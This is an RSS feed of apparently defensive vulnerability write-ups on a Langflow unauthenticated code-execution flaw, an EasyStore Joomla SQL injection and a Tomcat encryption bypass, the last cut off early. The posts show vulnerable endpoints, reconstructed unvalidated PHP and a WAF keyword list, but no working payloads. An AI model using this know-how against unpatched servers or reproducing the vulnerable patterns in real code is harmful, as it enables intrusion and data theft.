<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: GUIDANCE WHITE</title>
    <description>The latest articles on DEV Community by GUIDANCE WHITE (@guidance_white).</description>
    <link>https://dev.to/guidance_white</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4012932%2F1351cb58-618f-4322-9211-adf9506ecbad.png</url>
      <title>DEV Community: GUIDANCE WHITE</title>
      <link>https://dev.to/guidance_white</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/guidance_white"/>
    <language>en</language>
    <item>
      <title>CVE-2026-33017: Langflow Unauthenticated Remote Code Execution</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 12 Aug 2026 06:01:33 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-33017-langflow-unauthenticated-remote-code-execution-16fn</link>
      <guid>https://dev.to/guidance_white/cve-2026-33017-langflow-unauthenticated-remote-code-execution-16fn</guid>
      <description>&lt;h2&gt;
  
  
  1. CVE-2026-33017
&lt;/h2&gt;

&lt;p&gt;A vulnerability in Langflow allows unauthenticated remote code execution (RCE).&lt;/p&gt;

&lt;p&gt;It stems from a feature that lets users run a shared flow without logging in. The endpoint accepts attacker-supplied flow data without validation and executes the code contained within it — meaning an attacker can execute arbitrary code on the server with no authentication at all.&lt;/p&gt;

&lt;p&gt;Langflow is an open-source tool for visually building AI workflows by connecting blocks such as chat input, model calls, document retrieval, API requests, and output display.&lt;/p&gt;

&lt;p&gt;This vulnerability affects Langflow deployments that expose flows publicly. Running a public flow requires no authentication, so an attacker only needs the target flow's identifier to execute arbitrary code on the server — potentially leading to full system compromise.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2026-33017&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Product&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Langflow (open-source AI workflow/agent builder, 140k+ GitHub stars)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-306 (Missing Authentication for Critical Function) + CWE-94 (Code Injection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical) under v3.1; GitHub's own v4 score is 9.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Impact&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated arbitrary Python code execution (full system compromise)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions prior to 1.9.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1.9.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  2. The Vulnerable Feature: "Public Flow"
&lt;/h2&gt;

&lt;p&gt;Langflow has a &lt;strong&gt;public flow&lt;/strong&gt; feature that lets others run a workflow without logging in — designed for exposing demos or chatbots externally. By itself, this is a legitimate design.&lt;/p&gt;

&lt;p&gt;The endpoint behind it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /api/v1/build_public_tmp/{flow_id}/flow
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This endpoint is &lt;strong&gt;intentionally&lt;/strong&gt; unauthenticated. The problem is that the request also accepted an &lt;strong&gt;optional &lt;code&gt;data&lt;/code&gt; parameter&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. The Real Problem: Untrusted Input on a Trusted Path
&lt;/h2&gt;

&lt;p&gt;Correctly, running a public flow should only load and execute the &lt;strong&gt;flow definition stored in the database&lt;/strong&gt;. A caller should be able to say "run this flow," but not dictate the flow's actual contents.&lt;/p&gt;

&lt;p&gt;Instead, when a &lt;code&gt;data&lt;/code&gt; parameter was present in the request, the endpoint used the &lt;strong&gt;value from the request body&lt;/strong&gt; instead of the value from the database. A request meaning "run this flow_id" could effectively become "run this flow_id, but replace what actually executes with the data I'm sending now."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F47vc3x3i25lt3if2tt9a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F47vc3x3i25lt3if2tt9a.png" alt=" " width="800" height="471"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Langflow's flow data is organized into nodes (components), and each node can embed a &lt;strong&gt;Python code snippet&lt;/strong&gt; via the custom component feature. This let an attacker smuggle a node containing arbitrary Python code inside the &lt;code&gt;data&lt;/code&gt; parameter.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Tracing the Code Path
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7ugc0zphtwdrt1qyy1hr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7ugc0zphtwdrt1qyy1hr.png" alt=" " width="800" height="781"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;build_public_tmp()&lt;/code&gt;&lt;/strong&gt; — the endpoint handler; no auth check, accepts &lt;code&gt;data&lt;/code&gt; as-is.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;create_graph()&lt;/code&gt;&lt;/strong&gt; — should enforce "public flows are read from the DB only," but if &lt;code&gt;data&lt;/code&gt; is present, it builds the graph from attacker-supplied data instead.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;eval_custom_component_code()&lt;/code&gt;&lt;/strong&gt; — extracts and evaluates each node's Python code, treating the attacker's injected snippet as legitimate node code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;prepare_global_scope()&lt;/code&gt; → &lt;code&gt;exec()&lt;/code&gt;&lt;/strong&gt; — the extracted code is passed directly to &lt;code&gt;exec()&lt;/code&gt;. &lt;strong&gt;No sandboxing, no input validation, no whitelist.&lt;/strong&gt; Code entering &lt;code&gt;exec()&lt;/code&gt; runs with the same privileges as the server process.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The core issue isn't a single buggy function — it's a broken &lt;strong&gt;trust boundary&lt;/strong&gt;. &lt;code&gt;build_public_tmp&lt;/code&gt; → &lt;code&gt;create_graph&lt;/code&gt; was supposed to assume "this request is unauthenticated, so trust the DB value only," and the &lt;code&gt;data&lt;/code&gt; parameter broke that assumption. &lt;code&gt;eval_custom_component_code&lt;/code&gt; and &lt;code&gt;exec()&lt;/code&gt; were designed to process already-trusted flow data, so neither had independent validation logic.&lt;/p&gt;

&lt;p&gt;Accordingly, the GitHub security advisory's fix didn't try to sandbox &lt;code&gt;exec()&lt;/code&gt; — it &lt;strong&gt;removed the &lt;code&gt;data&lt;/code&gt; parameter from the endpoint entirely&lt;/strong&gt; and forced public flows through the &lt;code&gt;build_graph_from_db()&lt;/code&gt; path only. The fix prevents dangerous code from ever entering the execution path, rather than trying to block it once it's already there.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Attack Requirements
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;At least &lt;strong&gt;one public flow&lt;/strong&gt; must exist on the target instance (common for demo/chatbot deployments)&lt;/li&gt;
&lt;li&gt;Or, if the default &lt;code&gt;AUTO_LOGIN=true&lt;/code&gt; is enabled, an attacker could create a public flow directly via the unauthenticated auto-login path&lt;/li&gt;
&lt;li&gt;The public flow's UUID (typically exposed in the shared link, easy to obtain)&lt;/li&gt;
&lt;li&gt;No credentials required&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/eO-yQdp11kY"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Mitigation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Upgrade to Langflow 1.9.0+&lt;/strong&gt; — the only verified fix. (Some reports claimed an intermediate 1.8.x patch, but reproductions showed it remained exploitable.)&lt;/li&gt;
&lt;li&gt;If immediate upgrade isn't feasible:

&lt;ul&gt;
&lt;li&gt;Disable the public flow feature, or avoid it unless necessary&lt;/li&gt;
&lt;li&gt;Review the &lt;code&gt;AUTO_LOGIN&lt;/code&gt; default and disable it if not required&lt;/li&gt;
&lt;li&gt;Don't expose the Langflow API directly to the internet — put it behind an authenticating proxy or firewall&lt;/li&gt;
&lt;li&gt;Add a WAF/proxy rule to detect and block requests to &lt;code&gt;build_public_tmp&lt;/code&gt; that include a &lt;code&gt;data&lt;/code&gt; parameter&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>exploit</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>EasyStore (Joomla) filter_sortby Pre-Authentication SQL Injection (CVE-2026-65761)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Tue, 11 Aug 2026 05:41:49 +0000</pubDate>
      <link>https://dev.to/guidance_white/easystore-joomla-filtersortby-pre-authentication-sql-injection-cve-2026-65761-3fcl</link>
      <guid>https://dev.to/guidance_white/easystore-joomla-filtersortby-pre-authentication-sql-injection-cve-2026-65761-3fcl</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk41v5d24a7sthm7wbgug.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk41v5d24a7sthm7wbgug.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Overview of CVE-2026-65761
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;EasyStore&lt;/strong&gt; is an e-commerce extension component for Joomla, distributed by developer JoomShaper. The product listing page accepts a request parameter called &lt;code&gt;filter_sortby&lt;/code&gt; so users can choose a sort order. This value is split into a &lt;strong&gt;column name&lt;/strong&gt; and a &lt;strong&gt;sort direction (ASC/DESC)&lt;/strong&gt;, and the direction value was inserted directly into the &lt;code&gt;ORDER BY&lt;/code&gt; clause of the SQL query with no validation whatsoever.&lt;/p&gt;

&lt;p&gt;Security firm mySites.guru discovered the issue and privately disclosed it to JoomShaper on July 22, 2026. The company bundled three vulnerabilities together — SQL Injection, unauthenticated order forgery, and cross-customer invoice disclosure — and silently patched them in &lt;strong&gt;version 2.0.2&lt;/strong&gt;. No separate security advisory was published.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Target:&lt;/strong&gt; JoomShaper EasyStore (Joomla extension)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affected versions:&lt;/strong&gt; 1.0.0 – 2.0.1&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Patched version:&lt;/strong&gt; EasyStore 2.0.2&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CWE:&lt;/strong&gt; CWE-89 (SQL Injection)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVSS 4.0:&lt;/strong&gt; &lt;strong&gt;9.3 (Critical)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. Why the Sort Direction Is Dangerous
&lt;/h2&gt;

&lt;p&gt;The basic rule of SQL Injection defense is: &lt;strong&gt;"never trust user input — always escape it or use parameter binding (prepared statements)."&lt;/strong&gt; However, an &lt;code&gt;ORDER BY ... ASC&lt;/code&gt; / &lt;code&gt;ORDER BY ... DESC&lt;/code&gt; style &lt;strong&gt;sort direction&lt;/strong&gt; is one of the few places where this principle cannot be applied directly.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why can't it be bound?&lt;/strong&gt; Parameter binding (the &lt;code&gt;?&lt;/code&gt; placeholder) is a mechanism for safely passing a &lt;em&gt;value&lt;/em&gt;. But ASC/DESC isn't a value — it's a &lt;strong&gt;keyword (reserved word)&lt;/strong&gt; in SQL syntax. Even if you place it in a bound parameter slot, the database won't interpret it as syntax. That's why developers must hard-code a &lt;strong&gt;whitelist check&lt;/strong&gt; directly into the application: "accept only ASC or DESC, reject everything else."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;EasyStore is exactly where this whitelist &lt;strong&gt;validation was missing.&lt;/strong&gt; Interestingly, the sorting features for the &lt;strong&gt;Brand list and Collection list&lt;/strong&gt; within the same component did have this validation implemented correctly — the check was missing only from the &lt;strong&gt;Product list&lt;/strong&gt; sorting path. In other words, this wasn't a case of the developers "not knowing" the risk; it's a classic &lt;strong&gt;implementation-omission bug&lt;/strong&gt; where the same logic was reimplemented in multiple places and one location was simply missed.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The Vulnerable Flow, in Code
&lt;/h2&gt;

&lt;p&gt;The code below is a &lt;strong&gt;reconstructed example&lt;/strong&gt; based on the behavior (file names, line numbers, and processing logic) described in the public vulnerability report. It is not identical to the actual source, but it's sufficient to understand the structure of the vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;① FilterHelper.php:741 — returns the direction value as-is, with no validation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Conceptual reconstruction&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getSortDirection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$direction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'filter_sortby_direction'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'ASC'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$direction&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// returned without any whitelist check&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The defense that &lt;strong&gt;should have been in place&lt;/strong&gt; looked something like this. Reconstructing, as an example, the logic that appears to actually exist in the Brand/Collection list helper:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// What correct validation looks like (Brand/Collection helper)&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getSortDirection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$direction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtoupper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'filter_sortby_direction'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'ASC'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$direction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'ASC'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'DESC'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nv"&gt;$direction&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'ASC'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;② ProductsModel.php:923 — the unvalidated value is concatenated directly into the query string&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Conceptual reconstruction&lt;/span&gt;
&lt;span class="nv"&gt;$sortColumn&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;quoteName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'filter.sort_column'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nv"&gt;$sortDirection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getSortDirection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// unvalidated&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sortColumn&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$sortDirection&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// direct string concatenation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why doesn't &lt;code&gt;quoteName()&lt;/code&gt; help here?&lt;/strong&gt;&lt;br&gt;
Joomla's &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt; and &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt; are the standard defense tools for safely escaping &lt;em&gt;identifiers&lt;/em&gt; (column/table names) and &lt;em&gt;values&lt;/em&gt;, respectively. But the &lt;code&gt;$sortDirection&lt;/code&gt; in this vulnerability is neither an identifier nor a value — it's &lt;strong&gt;part of SQL syntax (a keyword)&lt;/strong&gt;. &lt;code&gt;quoteName('column')&lt;/code&gt; only wraps a column name in backticks, and wrapping the direction value with &lt;code&gt;quote('value')&lt;/code&gt; would turn it into &lt;code&gt;ORDER BY col 'DESC'&lt;/code&gt;, which is a syntax error. So the direction value can only be defended with a &lt;strong&gt;whitelist&lt;/strong&gt;, not escaping — and it's precisely that whitelist that was missing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;③ The vulnerable query, assembled conceptually&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The actual exploit payload is not disclosed, but combining the two code paths above produces a final executed query with roughly this shape:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="n"&gt;__easystore_products&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ATTACKER&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;CONTROLLED&lt;/span&gt; &lt;span class="k"&gt;SQL&lt;/span&gt; &lt;span class="n"&gt;EXPRESSION&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the one slot where only the two words ASC or DESC should ever be allowed, an &lt;strong&gt;attacker-controlled arbitrary SQL expression&lt;/strong&gt; can be inserted directly. To demonstrate the issue without extracting real data, mySites.guru said it confirmed successful injection using a &lt;strong&gt;time-based technique&lt;/strong&gt; — deliberately delaying the database response under specific conditions. A response delayed by several seconds compared to a normal request serves as evidence that the injected statement executed.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Attack Flow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqsyeir0f2wlqqacde1un.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqsyeir0f2wlqqacde1un.png" alt=" " width="800" height="612"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A request reaches the product listing endpoint with a crafted &lt;code&gt;filter_sortby&lt;/code&gt; parameter.&lt;/li&gt;
&lt;li&gt;The direction segment is extracted without validation.&lt;/li&gt;
&lt;li&gt;The value is concatenated directly into the &lt;code&gt;ORDER BY&lt;/code&gt; clause.&lt;/li&gt;
&lt;li&gt;The database executes attacker-controlled SQL as part of the sort expression.&lt;/li&gt;
&lt;li&gt;Success/failure is inferred via a time-based side channel (response delay), without needing to read result data directly.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/CcFLUIoFRB4"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Update immediately:&lt;/strong&gt; If you're running EasyStore, upgrade to 2.0.2 or later. Because it was patched silently with no separate security notice, it's easy to overlook by only skimming the changelog.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review WAF rules:&lt;/strong&gt; Confirm that SQL-keyword-based filtering rules (UNION, SLEEP, information_schema, etc.) are also applied to &lt;code&gt;filter_sortby&lt;/code&gt;-style parameters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Least-privilege DB accounts:&lt;/strong&gt; Verify the DB account used by the web application doesn't have unnecessary permissions to query &lt;code&gt;information_schema&lt;/code&gt; or superuser-level access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review logs:&lt;/strong&gt; Check recent access logs for requests where the &lt;code&gt;filter_sortby&lt;/code&gt; parameter contained anything other than ASC/DESC — quotes, parentheses, or SQL keywords.&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>cve</category>
      <category>poc</category>
      <category>exploit</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>CVE-2026-34486 Analysis — Apache Tomcat EncryptInterceptor Bypass</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sat, 08 Aug 2026 07:24:02 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-34486-analysis-apache-tomcat-encryptinterceptor-bypass-28e6</link>
      <guid>https://dev.to/guidance_white/cve-2026-34486-analysis-apache-tomcat-encryptinterceptor-bypass-28e6</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F88g91qcmtcvlgvarik3g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F88g91qcmtcvlgvarik3g.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CVSS 3.1&lt;/strong&gt;: 7.5 (High) · &lt;strong&gt;CWE&lt;/strong&gt;: CWE-311 / CWE-807 · &lt;strong&gt;Disclosed&lt;/strong&gt;: 2026-04-09&lt;br&gt;
&lt;strong&gt;Type&lt;/strong&gt;: Missing Encryption / Protection Mechanism Bypass&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Table of Contents&lt;/strong&gt;
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Summary at a Glance&lt;/li&gt;
&lt;li&gt;Background: Relation to CVE-2026-29146&lt;/li&gt;
&lt;li&gt;Root Cause Analysis (Source Code)&lt;/li&gt;
&lt;li&gt;Attack Flow&lt;/li&gt;
&lt;li&gt;Impact &amp;amp; Severity&lt;/li&gt;
&lt;li&gt;Affected Versions&lt;/li&gt;
&lt;li&gt;Mitigation&lt;/li&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Summary at a Glance&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;CVE-2026-34486 is a vulnerability in Apache Tomcat's cluster communication protection component, &lt;code&gt;EncryptInterceptor&lt;/code&gt;, which can be fully bypassed under certain conditions. This component is normally responsible for encrypting messages exchanged between Tomcat cluster nodes to preserve confidentiality. However, an incomplete fix for a prior vulnerability (&lt;strong&gt;CVE-2026-29146&lt;/strong&gt;, a padding oracle) misplaced the "what happens when decryption fails" control flow, introducing a regression where &lt;strong&gt;plaintext (or otherwise unverified) messages pass through even when encryption is configured&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Why it matters&lt;/strong&gt;&lt;br&gt;
